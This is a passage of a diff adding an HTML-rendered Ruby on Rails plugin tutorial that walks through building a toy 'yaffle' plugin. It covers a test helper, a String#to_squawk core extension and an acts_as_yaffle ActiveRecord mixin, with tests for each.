+ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ROOT'</span><span style="color: #990000">]</span> <span style="color: #990000">||=</span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/../../../..'</span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test/unit'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>ENV<span style="color: #990000">[</span><span style="color: #FF0000">'RAILS_ROOT'</span><span style="color: #990000">],</span> <span style="color: #FF0000">'config/environment.rb'</span><span style="color: #990000">))</span>
+
+config <span style="color: #990000">=</span> YAML<span style="color: #990000">::</span><span style="font-weight: bold"><span style="color: #0000FF">load</span></span><span style="color: #990000">(</span>IO<span style="color: #990000">.</span>read<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/database.yml'</span><span style="color: #990000">))</span>
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>logger <span style="color: #990000">=</span> Logger<span style="color: #990000">.</span>new<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/debug.log"</span><span style="color: #990000">)</span>
+
+db_adapter <span style="color: #990000">=</span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">'DB'</span><span style="color: #990000">]</span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># no db passed, try one of these fine config-free DBs before bombing.</span></span>
+db_adapter <span style="color: #990000">||=</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">begin</span></span>
+ <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rubygems'</span>
+ <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'sqlite'</span>
+ <span style="color: #FF0000">'sqlite'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> MissingSourceFile
+ <span style="font-weight: bold"><span style="color: #0000FF">begin</span></span>
+ <span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'sqlite3'</span>
+ <span style="color: #FF0000">'sqlite3'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">rescue</span></span> MissingSourceFile
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">if</span></span> db_adapter<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="color: #FF0000">"No DB Adapter selected. Pass the DB= option to pick one, or install Sqlite or Sqlite3."</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>establish_connection<span style="color: #990000">(</span>config<span style="color: #990000">[</span>db_adapter<span style="color: #990000">])</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">load</span></span><span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">"/schema.rb"</span><span style="color: #990000">)</span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/../init.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ acts_as_yaffle
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ acts_as_yaffle <span style="color: #990000">:</span>yaffle_text_field <span style="color: #990000">=></span> <span style="color: #990000">:</span>last_tweet<span style="color: #990000">,</span> <span style="color: #990000">:</span>yaffle_date_field <span style="color: #990000">=></span> <span style="color: #990000">:</span>last_tweeted_at
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_add_a_tt_to_squawk_tt_method_to_string">2. Add a <tt>to_squawk</tt> method to String</h2>
+<div class="sectionbody">
+<div class="para"><p>To update a core class you will have to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Write tests for the desired functionality.
+</p>
+</li>
+<li>
+<p>
+Create a file for the code you wish to use.
+</p>
+</li>
+<li>
+<p>
+Require that file from your <em>init.rb</em>.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Most plugins store their code classes in the plugin's lib directory. When you add a file to the lib directory, you must also require that file from <em>init.rb</em>. The file you are going to add for this tutorial is <em>lib/core_ext.rb</em>.</p></div>
+<div class="para"><p>First, you need to write the tests. Testing plugins is very similar to testing rails apps. The generated test file should look something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/test/core_ext_test.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test/unit'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CoreExtTest <span style="color: #990000"><</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+ <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_this_plugin
+ flunk
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Start off by removing the default test, and adding a require statement for your test helper.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/test/core_ext_test.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test/unit'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CoreExtTest <span style="color: #990000"><</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Navigate to your plugin directory and run <tt>rake test</tt>:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>cd vendor/plugins/yaffle
+rake test</tt></pre>
+</div></div>
+<div class="para"><p>Your test should fail with <tt>no such file to load — ./test/../lib/core_ext.rb (LoadError)</tt> because we haven't created any file yet. Create the file <em>lib/core_ext.rb</em> and re-run the tests. You should see a different error message:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>1.) Failure ...
+No tests were specified</tt></pre>
+</div></div>
+<div class="para"><p>Great - now you are ready to start development. The first thing we'll do is to add a method to String called <tt>to_squawk</tt> which will prefix the string with the word “squawk!”. The test will look something like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/init.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CoreExtTest <span style="color: #990000"><</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_string_should_respond_to_squawk
+ assert_equal <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #FF0000">""</span><span style="color: #990000">.</span>respond_to?<span style="color: #990000">(:</span>to_squawk<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_string_prepend_empty_strings_with_the_word_squawk
+ assert_equal <span style="color: #FF0000">"squawk!"</span><span style="color: #990000">,</span> <span style="color: #FF0000">""</span><span style="color: #990000">.</span>to_squawk
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_string_prepend_non_empty_strings_with_the_word_squawk
+ assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"Hello World"</span><span style="color: #990000">.</span>to_squawk
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/init.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"core_ext"</span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/lib/core_ext.rb</span></span>
+
+String<span style="color: #990000">.</span>class_eval <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> to_squawk
+ <span style="color: #FF0000">"squawk! #{self}"</span><span style="color: #990000">.</span>strip
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>When monkey-patching existing classes it's often better to use <tt>class_eval</tt> instead of opening the class directly.</p></div>
+<div class="para"><p>To test that your method does what it says it does, run the unit tests. To test this manually, fire up a console and start squawking:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>$ ./script/console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"</tt></pre>
+</div></div>
+<div class="para"><p>If that worked, congratulations! You just created your first test-driven plugin that extends a core ruby class.</p></div>
+</div>
+<h2 id="_add_an_tt_acts_as_yaffle_tt_method_to_activerecord">3. Add an <tt>acts_as_yaffle</tt> method to ActiveRecord</h2>
+<div class="sectionbody">
+<div class="para"><p>A common pattern in plugins is to add a method called <tt>acts_as_something</tt> to models. In this case, you want to write a method called <tt>acts_as_yaffle</tt> that adds a <tt>squawk</tt> method to your models.</p></div>
+<div class="para"><p>To keep things clean, create a new test file called <em>acts_as_yaffle_test.rb</em> in your plugin's test directory and require your test helper.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Base
+ acts_as_yaffle
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000"><</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/lib/acts_as_yaffle.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>One of the most common plugin patterns for <tt>acts_as_yaffle</tt> plugins is to structure your file like so:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
+ base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
+ <span style="font-style: italic"><span style="color: #9A1900"># any method placed here will apply to classes, like Hickwall</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_something
+ send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
+ <span style="font-style: italic"><span style="color: #9A1900"># any method placed here will apply to instaces, like @hickwall</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With structure you can easily separate the methods that will be used for the class (like <tt>Hickwall.some_method</tt>) and the instance (like <tt>@hickwell.some_method</tt>).</p></div>
+<div class="para"><p>Let's add class method named <tt>acts_as_yaffle</tt> - testing it out first. You already defined the ActiveRecord models in your test helper, so if you run tests now they will fail.</p></div>
+<div class="para"><p>Back in your <tt>acts_as_yaffle</tt> file, update ClassMethods like so:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_yaffle<span style="color: #990000">(</span>options <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
+ send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now that test should pass. Since your plugin is going to work with field names, you need to allow people to define the field names, in case there is a naming conflict. You can write a few simple tests for this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000"><</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal <span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_text_field
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_date_field_should_be_last_squawked_at
+ assert_equal <span style="color: #FF0000">"last_squawked_at"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_date_field
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+ assert_equal <span style="color: #FF0000">"last_tweet"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_text_field
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_date_field_should_be_last_tweeted_at
+ assert_equal <span style="color: #FF0000">"last_tweeted_at"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_date_field
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To make these tests pass, you could modify your <tt>acts_as_yaffle</tt> file like so:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/lib/acts_as_yaffle.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
+ base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_yaffle<span style="color: #990000">(</span>options <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
+ cattr_accessor <span style="color: #990000">:</span>yaffle_text_field<span style="color: #990000">,</span> <span style="color: #990000">:</span>yaffle_date_field
+ <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_text_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_text_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">).</span>to_s
+ <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_date_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_date_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawked_at<span style="color: #990000">).</span>to_s
+ send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Now you can add tests for the instance methods, and the instance method itself:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000"><</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal <span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_text_field
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_date_field_should_be_last_squawked_at
+ assert_equal <span style="color: #FF0000">"last_squawked_at"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_date_field
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_text_field_should_be_last_squawk
+ assert_equal <span style="color: #FF0000">"last_tweet"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_text_field
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_date_field_should_be_last_squawked_at
+ assert_equal <span style="color: #FF0000">"last_tweeted_at"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_date_field
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_hickwalls_squawk_should_populate_last_squawk
+ hickwall <span style="color: #990000">=</span> Hickwall<span style="color: #990000">.</span>new
+ hickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
+ assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> hickwall<span style="color: #990000">.</span>last_squawk
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_hickwalls_squawk_should_populate_last_squawked_at
+ hickwall <span style="color: #990000">=</span> Hickwall<span style="color: #990000">.</span>new
+ hickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
+ assert_equal Date<span style="color: #990000">.</span>today<span style="color: #990000">,</span> hickwall<span style="color: #990000">.</span>last_squawked_at
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_wickwalls_squawk_should_populate_last_tweet
+ wickwall <span style="color: #990000">=</span> Wickwall<span style="color: #990000">.</span>new
+ wickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
+ assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> wickwall<span style="color: #990000">.</span>last_tweet
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_wickwalls_squawk_should_populate_last_tweeted_at
+ wickwall <span style="color: #990000">=</span> Wickwall<span style="color: #990000">.</span>new
+ wickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
+ assert_equal Date<span style="color: #990000">.</span>today<span style="color: #990000">,</span> wickwall<span style="color: #990000">.</span>last_tweeted_at
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># File: vendor/plugins/yaffle/lib/acts_as_yaffle.rb</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
+ base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_yaffle<span style="color: #990000">(</span>options <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
+ cattr_accessor <span style="color: #990000">:</span>yaffle_text_field<span style="color: #990000">,</span> <span style="color: #990000">:</span>yaffle_date_field
+ <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_text_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_text_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">).</span>to_s
+ <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_date_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_date_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawked_at<span style="color: #990000">).</span>to_s
+ send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> squawk<span style="color: #990000">(</span>string<span style="color: #990000">)</span>
+ write_attribute<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>yaffle_text_field<span style="color: #990000">,</span> string<span style="color: #990000">.</span>to_squawk<span style="color: #990000">)</span>
+ write_attribute<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>yaffle_date_field<span style="color: #990000">,</span> Date<span style="color: #990000">.</span>today<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Note the use of <tt>write_attribute</tt> to write to the field in model.</p></div>
+</div>
+<h2 id="_create_a_tt_squawk_info_for_tt_view_helper">4. Create a <tt>squawk_info_for</tt> view helper</h2>
+<div class="sectionbody">
+<div class="para"><p>Creating a view helper is a 3-step process:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Add an appropriately named file to the <em>lib</em> directory.
+</p>
+</li>
+<li>
+<p>
+Require the file and hooks in <em>init.rb</em>.
+</p>
+</li>
+<li>
+<p>
+Write the tests.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>First, create the test to define the functionality you want:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
